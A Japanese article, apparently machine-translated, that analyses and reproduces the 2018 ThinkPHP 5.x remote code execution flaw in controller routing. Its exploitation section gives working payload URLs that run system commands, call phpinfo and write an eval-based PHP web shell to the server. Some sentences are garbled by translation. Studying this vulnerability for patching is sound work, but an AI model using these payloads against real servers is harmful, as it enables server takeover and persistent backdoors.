0x00 前書き
ThinkPHP は、2018 年 12 月 9 日に重要なセキュリティ アップデートを正式にリリースし、深刻なリモート コード実行の脆弱性を修正しました。この更新には主にセキュリティ更新が含まれます。フレームワークはコントローラー名に対して十分な検出を実行しないため、強制ルーティングがオンになっていない場合、getshell の脆弱性が発生する可能性があります。影響を受けるバージョンにはバージョン 5.0 および 5.1 が含まれます。次のことをお勧めします。できるだけ早く最新バージョンにアップデートしてください。
0x01 影響範囲
5.x
0x02 脆弱性分析
Thinkphp v5.0.x パッチ アドレス: https://github.com/top-think/framework/com...
Thinkphp v5。 1 .x パッチ アドレス: https://github.com/top-think/framework/com...
ルーティング情報のコントローラー部分がフィルターされています。ルーティングで問題が発生していることがわかりました。
スケジューリング中のキー コード:
修復前、プログラムはコントローラーをフィルタリングしなかったため、攻撃者は\ 記号を導入してクラス メソッドを呼び出します。
$this->app->controller メソッドを使用してコントローラーをインスタンス化し、インスタンス内のメソッドを呼び出します。コントローラー メソッドを続行します。
parseModuleAndClass メソッドは、$module と $class を解析し、$class をインスタンス化します。
parseModuleAndClass メソッドでは、$name がバックスラッシュ \ で始まる場合、それがクラス名として直接使用されます。名前空間の特性を利用して、ここの $name (つまりルートのコントローラー部分) を制御できれば、任意のクラスをインスタンス化できます。
次に、ルーティング解析コードを振り返ってみましょう。 Route/dispatch/Url.php::parseUrl メソッドは、route/Rule.php::parseUrlPath を呼び出して、pathinfo のルーティング情報を解析します
コードは比較的単純です。 use / $url をフィルタリングせずに分割します。
ルーティング URL は Request::path () から取得されます。
var_pathinfo のデフォルト設定は s であるため、$_GET [ を使用できます。 '] を使用してルーティング情報を渡すこともできますが、pathinfo を使用して渡すこともできますが、テスト中に Windows 環境では $_SERVER ['pathinfo'] の \ が / に置き換えられます。前の分析と組み合わせると、次のように暫定的な使用率コードを取得できます:index.php?s=index/\namespace\class/method。これにより、\namespace\class クラスがインスタンス化され、メソッドが実行されます。
#0x03 脆弱性の悪用
Docker 脆弱性環境のソース コード:https://github.com/vulnspy/thinkphp-5.1.29
ローカル環境: thinkphp5.0.15 php5.6n apache2.0http://www.thinkphp.cn/donate/download/id/...
1. system 関数を使用してリモート コマンドを実行しますhttp://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
#3. シェル:
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
または
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>
を記述します。
以上がThinkPHP 5.x のリモート コマンド実行の脆弱性の分析と再現の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。